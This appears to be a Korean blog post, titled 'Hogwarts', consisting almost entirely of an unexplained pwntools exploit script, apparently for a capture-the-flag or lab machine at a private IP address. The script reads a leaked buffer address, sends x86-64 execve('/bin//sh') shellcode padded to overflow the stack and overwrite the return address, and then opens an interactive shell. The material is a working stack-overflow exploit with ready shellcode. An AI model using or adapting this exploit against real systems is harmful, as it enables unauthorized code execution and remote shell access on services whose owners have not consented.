호그와트

어느 날에 누군가가 지은 따끈한 코드 한 사발 하실라우?

영웅*^%&$ 2022. 11. 19. 13:45
728x90

from pwn import *

context.log_level = "debug"
p = remote('10.10.194.218', 9004)

 

shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05"

 

#p = process()
p.recv()
output = p.recv()

 

buffer_address = int(output.split(b"at")[1].strip().decode("utf-8"), 16)
payload = shellcode + b'A'*(0x50 - len(shellcode)) + b'B'*0x8 + p64(buffer_address)
p.sendline(payload)
p.interactive()
728x90